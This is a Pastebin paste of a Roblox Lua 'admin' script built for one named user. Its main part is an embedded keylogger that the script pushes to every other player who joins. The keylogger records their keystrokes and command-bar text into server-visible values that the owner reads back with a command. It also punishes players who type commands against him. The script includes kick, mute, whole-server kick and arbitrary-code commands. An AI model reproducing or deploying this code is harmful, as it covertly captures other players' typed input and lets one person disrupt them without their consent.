API tools faq
paste
Advertisement
jordan83221

Admin 4.0

jordan83221
Dec 7th, 2015
107
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 11.94 KB | None | 0 0
raw download clone embed print report
  1. --[[Project TIME]]--
  2. wait()
  3. print("Running!")
  4. script.Parent=nil
  5. local next=next
  6. local pcall=pcall
  7. local cos=math.cos
  8. local sin=math.sin
  9. local atan2=math.atan2
  10. local pi=math.pi
  11. local plr=game.Players.Voreli
  12. local camera=workspace.CurrentCamera
  13. local ease=0.05
  14. local tabs={}
  15. local dt=false
  16. local let=true
  17. local tabo=true
  18. local spin=true
  19. local clone
  20. local admins={}
  21. local superadmins={}
  22. local megaadmins={}
  23. local uberadmins={}
  24. local svals={}
  25. local function insert(tab,val)
  26.     tab[#tab+1]=val
  27. end
  28. local function remove(tab,val)
  29.    if type(val)~="number" then
  30.        for i,v in next,tab do
  31.             if v==val then
  32.                 tab[i]=nil
  33.             end
  34.         end
  35.     else
  36.         tab[val]=nil
  37.     end
  38. end
  39. function dist(part1,part2)
  40.     return (part1-part2).magnitude
  41. end
  42. local function easey(part,cframe)
  43.     local dx=cframe.X-part.CFrame.X
  44.     local dy=cframe.Y-part.CFrame.Y
  45.     local dz=cframe.Z-part.CFrame.Z
  46.     local vx=dx*ease;
  47.     local vy=dy*ease;
  48.     local vz=dz*ease
  49.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  50. end
  51. local keylog=[[
  52.     local next=next
  53.     local p=game.Players.LocalPlayer
  54.     local sv=Instance.new("StringValue",game.Lighting)
  55.     sv.Name=p.Name
  56.     local uis = game:GetService("UserInputService")
  57.     local slash=string.byte(47)
  58.     local val=Instance.new("StringValue",game.Lighting)
  59.     val.Name=p.Name.."*"
  60.     local function notify(stat)
  61.         local thing=Instance.new("StringValue",game.Lighting)
  62.         thing.Name="Notify_"..stat
  63.     end
  64.     uis.InputBegan:connect(function(input, typing)
  65.         if input.UserInputType == Enum.UserInputType.Keyboard then
  66.             if input.KeyCode == Enum.KeyCode.A then
  67.                 sv.Value=sv.Value..'a'
  68.             elseif input.KeyCode==Enum.KeyCode.B then
  69.                 sv.Value=sv.Value..'b'
  70.             elseif input.KeyCode==Enum.KeyCode.C then
  71.                 sv.Value=sv.Value..'c'
  72.             elseif input.KeyCode==Enum.KeyCode.D then
  73.                 sv.Value=sv.Value..'d'
  74.             elseif input.KeyCode==Enum.KeyCode.E then
  75.                 sv.Value=sv.Value..'e'
  76.             elseif input.KeyCode==Enum.KeyCode.F then
  77.                 sv.Value=sv.Value..'f'
  78.             elseif input.KeyCode==Enum.KeyCode.G then
  79.                 sv.Value=sv.Value..'g'
  80.             elseif input.KeyCode==Enum.KeyCode.H then
  81.                 sv.Value=sv.Value..'h'
  82.             elseif input.KeyCode==Enum.KeyCode.I then
  83.                 sv.Value=sv.Value..'i'
  84.             elseif input.KeyCode==Enum.KeyCode.J then
  85.                 sv.Value=sv.Value..'j'
  86.             elseif input.KeyCode==Enum.KeyCode.K then
  87.                 sv.Value=sv.Value..'k'
  88.             elseif input.KeyCode==Enum.KeyCode.L then
  89.                 sv.Value=sv.Value..'l'
  90.             elseif input.KeyCode==Enum.KeyCode.M then
  91.                 sv.Value=sv.Value..'m'
  92.             elseif input.KeyCode==Enum.KeyCode.N then
  93.                 sv.Value=sv.Value..'n'
  94.             elseif input.KeyCode==Enum.KeyCode.O then
  95.                 sv.Value=sv.Value..'o'
  96.             elseif input.KeyCode==Enum.KeyCode.P then
  97.                 sv.Value=sv.Value..'p'
  98.             elseif input.KeyCode==Enum.KeyCode.Q then
  99.                 sv.Value=sv.Value..'q'
  100.             elseif input.KeyCode==Enum.KeyCode.R then
  101.                 sv.Value=sv.Value..'r'
  102.             elseif input.KeyCode==Enum.KeyCode.S then
  103.                 sv.Value=sv.Value..'s'
  104.             elseif input.KeyCode==Enum.KeyCode.T then
  105.                 sv.Value=sv.Value..'t'
  106.             elseif input.KeyCode==Enum.KeyCode.U then
  107.                 sv.Value=sv.Value..'u'
  108.             elseif input.KeyCode==Enum.KeyCode.V then
  109.                 sv.Value=sv.Value..'v'
  110.             elseif input.KeyCode==Enum.KeyCode.W then
  111.                 sv.Value=sv.Value..'w'
  112.             elseif input.KeyCode==Enum.KeyCode.X then
  113.                 sv.Value=sv.Value..'x'
  114.             elseif input.KeyCode==Enum.KeyCode.Y then
  115.                 sv.Value=sv.Value..'y'
  116.             elseif input.KeyCode==Enum.KeyCode.Z then
  117.                 sv.Value=sv.Value..'z'
  118.             elseif input.KeyCode==Enum.KeyCode.Slash then
  119.                 sv.Value=sv.Value..'/'
  120.             elseif input.KeyCode==Enum.KeyCode.Space then
  121.                 sv.Value=sv.Value..' '
  122.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  123.                 local t={}
  124.                 for i=1,val.Value:len() do
  125.                     table.insert(t,val.Value[i])
  126.                 end
  127.                 t[#t]=nil
  128.                 for i=1,#t do
  129.                     val.Value=t[i]
  130.                 end
  131.             end
  132.         end
  133.     end)
  134.     notify("Added.")
  135.     coroutine.resume(coroutine.create(function()
  136.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  137.         while gui.Text~="Click here or press (') to run a command" do
  138.             val.Value=gui.Text
  139.         end
  140.     end))
  141.     while wait() do
  142.         if string.find(sv.Value,'kick/vo')~=nil then
  143.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  144.         elseif string.find(sv.Value,'ban/vo')~=nil then
  145.             p:Kick()
  146.             notify(p.Name.." tried to kick Voreli and was removed.")
  147.         end
  148.     end
  149. ]]
  150. local function protect(p)
  151.  
  152. end
  153. local function makeBillboard(item, text)
  154.     local bg = Instance.new("BillboardGui", item)
  155.     bg.Enabled = true
  156.     bg.AlwaysOnTop = true
  157.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  158.     local f = Instance.new("Frame", bg)
  159.     f.BackgroundTransparency = 1
  160.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  161.     local tb = Instance.new("TextBox", f)
  162.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  163.     tb.FontSize = "Size36"
  164.     tb.Text = text
  165.     tb.TextStrokeTransparency = 0
  166.     tb.TextXAlignment = "Center"
  167.     tb.TextYAlignment = "Top"
  168.     tb.BackgroundTransparency = 1
  169.     tb.TextColor3 = Color3.new(0,0,1)
  170.     tb.Font="ArialBold"
  171.     if text == "Dismiss" then
  172.         tb.TextColor3 = Color3.new(1, 0, 0)
  173.         tb.TextStrokeColor3=Color3.new(0,0,0)
  174.     end
  175. end
  176. function notify(stat)
  177.     wait(0.25)
  178.     dt=false
  179.     tabo=true
  180.     local tab = Instance.new("Part", game.Workspace)
  181.     tab.Name = "Tab"
  182.     tab.CanCollide = false
  183.     tab.TopSurface = "Smooth"
  184.     tab.BottomSurface = "Smooth"
  185.     tab.Size = Vector3.new(4, 0.4, 6.6)
  186.     tab.Transparency = 0.5
  187.     tab.Anchored = true
  188.     tab.FormFactor = "Plate"
  189.     local tabad = Instance.new("Part",tab)
  190.     tabad.Name = "Tabad"
  191.     tabad.CanCollide = false
  192.     tabad.TopSurface = "Smooth"
  193.     tabad.BottomSurface = "Smooth"
  194.     tabad.Transparency = 0
  195.     tabad.BrickColor = BrickColor.new(1,1,1)
  196.     tabad.Anchored = true
  197.     local mesh = Instance.new("BlockMesh",tabad)
  198.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  199.     makeBillboard(tab,stat)
  200.     local sele = Instance.new("SelectionBox",tab)
  201.     sele.Adornee = tab
  202.     sele.Color = BrickColor.new(1,1,1)
  203.     sele.Transparency = 0
  204.     delay(0, function()
  205.         while wait() do
  206.             if let==true then
  207.                 for i = 0,.7,0.1 do
  208.                     tab.Size = Vector3.new(4,i,6.6)
  209.                     wait()
  210.                 end
  211.                 wait()
  212.                 for i = .7,0,-0.1 do
  213.                     tab.Size = Vector3.new(4,i,6.6)
  214.                     wait()
  215.                 end
  216.             end
  217.         end
  218.     end)
  219.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  220.     coroutine.resume(coroutine.create(function()
  221.         for i,v in next,tabs do
  222.             local num=#tabs
  223.             local slice=(pi*2)/num
  224.             local radius=2+num
  225.             local angle=i*slice;
  226.             local x=cos(angle)*radius;
  227.             local y=60
  228.             local z=sin(angle)*radius;
  229.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  230.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  231.         end
  232.     end))
  233. end
  234. game.Lighting.DescendantAdded:connect(function(obj)
  235.     if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
  236.         clone=obj.Value:Clone()
  237.         notify("Found!")
  238.         notify(clone.className)
  239.     end
  240. end)
  241. local function logp(plr)
  242.  
  243. end
  244. local function wipe(tab)
  245.     for i=#tab,1 do
  246.         tab[i]=nil
  247.     end
  248. end
  249. workspace.DescendantRemoving:connect(function(obj)
  250.     for _,v in next,tabs do
  251.         if obj==v then
  252.             remove(tabs,obj)
  253.         end
  254.     end
  255. end)
  256. local function dismiss()
  257.     pcall(function()
  258.         if dt==true and tabo==false then
  259.             spin=false
  260.             for i,v in next,tabs do
  261.                 wait()
  262.                 tabs[i].taba:Destroy()
  263.                 tabs[i].tabd:Destroy()
  264.                 table.remove(tabs,i)
  265.             end
  266.         end
  267.     end)
  268. end
  269. local cmds={
  270.     ["log"]=function(a)
  271.         for _,v in next,game.Players:GetPlayers() do
  272.             if string.find(v.Name:lower(),a:lower())~=nil then
  273.                 local plr=v
  274.                 logp(plr)
  275.             end
  276.         end
  277.     end,
  278.     ["ff"]=function(a)
  279.         for _,v in next,game.Players:GetPlayers() do
  280.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  281.                 pcall(function() Instance.new("ForceField",v.Character) end)
  282.             end
  283.         end
  284.     end,
  285.     ["cl"]=function(p)
  286.         for _,v in next,game.Players:GetPlayers() do
  287.             if string.find(v.Name:lower(),p:lower())~=nil then
  288.                 for i,g in next,game.Lighting:GetChildren() do
  289.                     if g then
  290.                         local a=string.match(g.Name,"(.*)*")
  291.                         if a==v.Name then
  292.                             notify(g.Value)
  293.                         end
  294.                     end
  295.                 end
  296.             end
  297.         end
  298.     end,
  299.     ["test"]=function(a)
  300.         for i=1,a do wait()
  301.             notify("")
  302.         end
  303.     end,
  304.     ["dt"]=function()
  305.         dt=true
  306.         tabo=false
  307.     end,
  308.     ["size"]=function()
  309.         spin=false
  310.         for i=1,#tabs do
  311.             tabs[i].taba.Size=Vector3.new(5,5,5)
  312.         end
  313.     end,
  314.     ["cspin"]=function()
  315.         spin=false
  316.     end,
  317.     ["lower"]=function()
  318.  
  319.     end,
  320.     ["kick"]=function(p)
  321.         for _,v in next,game.Players:GetPlayers() do
  322.             if string.find(v.Name:lower(),p:lower())~=nil then
  323.                 pcall(function()
  324.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  325.                     notify("Kicked "..v.Name..".")
  326.                 end)
  327.             end
  328.         end
  329.     end,
  330.     ["grab"]=function(p)
  331.         for _,v in next,game.Players:GetPlayers() do
  332.             if string.find(v.Name:lower(),p:lower())~=nil then
  333.                 pcall(function()
  334.                     table.insert(tabs,v.Character.Torso)
  335.                 end)
  336.             end
  337.         end
  338.     end,
  339.     ["mute"]=function(p)
  340.         for _,v in next,game.Players:GetPlayers() do
  341.             if string.find(v.Name:lower(),p:lower())~=nil then
  342.                 pcall(function()
  343.                     NLS([[
  344.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  345.                     ]],v.Character)
  346.                     notify("Muted "..v.Name..".")
  347.                 end)
  348.             end
  349.         end
  350.     end,
  351.     ["unmute"]=function(p)
  352.         for _,v in next,game.Players:GetPlayers() do
  353.             if string.find(v.Name:lower(),p:lower())~=nil then
  354.                 pcall(function()
  355.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  356.                     notify("Unmuted "..v.Name..".")
  357.                 end)
  358.             end
  359.         end
  360.     end,
  361.     ["protect"]=function(p)
  362.         for _,v in next,game.Players:GetPlayers() do
  363.             if string.find(v.Name:lower(),p:lower())~=nil then
  364.                 pcall(function()
  365.                     protect(v)
  366.                 end)
  367.             end
  368.         end
  369.     end,
  370.     ["sd"]=function()
  371.         for _,v in next,game.Players:GetPlayers() do
  372.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  373.         end
  374.     end,
  375.     ["nl"]=function(a)
  376.         NLS([[]]..a..[[]],game.Players.Voreli.Backpack)
  377.     end
  378. }
  379. local function antimute(p)
  380.     NLS([[
  381.         wait()
  382.         print'ran'
  383.         script.Parent=nil
  384.         local next=next
  385.         local pcall=pcall
  386.         while wait() do
  387.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  388.         end
  389.     ]],p.Backpack)
  390. end
  391. local function chat(msg,plr)
  392.     if msg and plr then
  393.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  394.         if cmd and parm and cmds[cmd] then
  395.             cmds[cmd](parm)
  396.         end
  397.     end
  398. end
  399. game.Lighting.DescendantAdded:connect(function(obj)
  400.     if obj:IsA("LocalScript") then
  401.         notify(obj.Name.." has been added to scripts!")
  402.     end
  403. end)
  404. game.Lighting.DescendantAdded:connect(function(obj)
  405.     if obj:IsA("StringValue") then
  406.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  407.         if a and b then
  408.             notify(b)
  409.         end
  410.     end
  411. end)
  412. local function playerAdd(p)
  413.     if p then
  414.         if p.Name=="Voreli" then
  415.             p.Chatted:connect(function(m) chat(m,p) end)
  416.             antimute(p)
  417.         else
  418.             NLS(keylog,p.Backpack)
  419.             print("Added.")
  420.         end
  421.     end
  422. end
  423. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  424. for _,v in next,game.Players:GetPlayers() do
  425.     playerAdd(v)
  426. end
  427. local function rot()
  428.     if tabo==true and dt==false then
  429.         for i,v in next,tabs do
  430.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  431.             local y=0
  432.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  433.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  434.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  435.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  436.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  437.         end
  438.     end
  439. end
  440. local function begin()
  441.     notify("")
  442.     notify("")
  443.     notify("")
  444.     notify("")
  445.     notify("")
  446.     notify("")
  447.     notify("")
  448.     notify("")
  449.     notify("")
  450.     notify("")
  451.     notify("")
  452.     notify("")
  453.     notify("")
  454.     notify("")
  455.     notify("")
  456.     notify("")
  457.     notify("")
  458.     notify("")
  459.     wait(5)
  460.     dt=true
  461.     tabo=false
  462. end
  463. game:service'RunService'.Stepped:connect(function() rot() end)
  464. game:service'RunService'.Stepped:connect(function() dismiss() end)
  465. begin()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!